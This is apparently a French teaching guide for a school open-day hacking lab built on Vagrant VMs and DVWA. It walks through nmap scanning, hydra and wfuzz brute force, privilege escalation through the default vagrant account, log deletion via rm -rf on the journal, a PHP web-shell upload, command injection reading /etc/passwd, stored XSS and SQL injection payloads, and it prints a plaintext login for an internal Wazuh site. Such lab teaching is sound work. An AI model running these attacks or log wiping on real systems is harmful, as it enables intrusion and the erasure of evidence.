Explication des démonstrations.

0-Preparation

Pour réaliser cette activité, vous devez disposer des applications suivantes :

- Oracle VirtualBox avec les extensions : http://www.virtualbox.org/
- Hashicorp Vagrant : https://developer.hashicorp.com/vagrant/install?product_intent=vagrant

Pour créer le « labs » (dans le repertoire JPO/VM)

```
vagrant up
```

Pour se connecter à une machine (attack par exemple) :

```
vagrant ssh attack
```

1-Demonstration

On scanne le réseau (Attention à bien le faire sur le réseau du « Labs »)

On regarde le réseau virtuel pour détecter les machines

```
nmap -sV 192.168.56.0/24 -oN resultat.txt
```

On dispose d'un fichier avec la liste des utilisateurs

```
cat /vagrant/demo/users.txt
```

On dispose d'un fichier avec la liste des mots de passe classique

```
cat /vagrant/demo/passwords.txt
```

Lancement de l'attaque brute force sur le service SSH

```
hydra -L /vagrant/demo/users.txt \
  -P /vagrant/demo/passwords.txt \
  192.168.56.60 \
  -t 2 -s 22 \
  ssh
```

`Mouvement latéral`

C'est une machine Vagrant, donc il y a de forte chance que le compte vagrant existe et puisse devenir root

```
su vagrant (mot de passe par défaut vagrant)
sudo -i (pour devenir root)
```

`Suppression des logs`

```
systemctl stop systemd-journald
cd /var/log/journal/
rm -rf *
systemctl start systemd-journald
```

2-Demonstration.sh

On dispose d'un fichier avec la liste des répertoires
```
cat directory.txt
```

Scan de directory sur la machine présente
```
wfuzz -w directory.txt -v http://192.168.56.60/FUZZ
```

Le principe de **upload de fichier.**
On accède à la page
http://192.168.4.124/dvwa/vulnerabilities/upload/
On dépose le fichier shell.php (présent dans le répertoire /home/etudiant/JPO/VM/demo)

On accède au fichier via le lien de lecture des dépôts :
http://192.168.4.124/dvwa/hackable/uploads/shell.php
On peux ensuite exécuter des commandes dans le formulaire
```
cat /etc/passwd
```

Attaque brute force sur une page web

Avec wfuzz sur le compte admin uniquement
```
wfuzz -H "Cookie:security=low" \
--hs "Username and/or password incorrect." \
-c -z file,passwords.txt \
"http://192.168.56.60/dvwa/vulnerabilities/brute/?
username=admin&password=FUZZ&Login=Login#"
```

Idem mais en mixant les comptes utilisateurs et les mots de passe
```
hydra 192.168.56.60 -l admin \
-P ./passwords.txt \
http-get-form
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Logi
n=Login:H=Cookie:security=low :F=Username and/or password
incorrect."
```

Accès à un site de supervision de la Cyber-Sécurité (à l'ESEO uniquement)
Dans un navigateur Web accédez au site :

https://wazuh.sirt.tp/
login : etudiant
mot de passe : N3twork!eseo

3-Demonstration.sh

Consignes sur DVWA (navigateur)

command injection : http://192.168.56.60/dvwa/vulnerabilities/exec/

```
8.8.8.8
8.8.8.8 && cat /etc/passwd
```

XSS (Stored)
faille de sécurité qui permet à un attaquant d'injecter dans un site web un code client malveillant

```
<script>alert('stored XSS');</script>

<script>window.location='https://www.eseo.fr/'</script>
```

Cela ne marche pas il faut modifier le code sur le navigateur pour que cela marche (maxlenght>50).
- Shift + CTRL + J
- html -> body -> main-body -> body-padded -> vulnerable_code_area -> post -> 2em tr -> td
- changer maxlenght de 50 en 150 pour coller le code qui va bien

Pour récupérer cela passer en mode security impossible pour faire ensuite le clear guestbook

Injection SQL
Idem mais dans du code SQL sous jacent.

```
1' OR 1=1 UNION SELECT null,version()#

1' OR 1=1 UNION SELECT null,USER();#

1' OR 1=1 UNION SELECT null,PASSWORD('mypass')#
```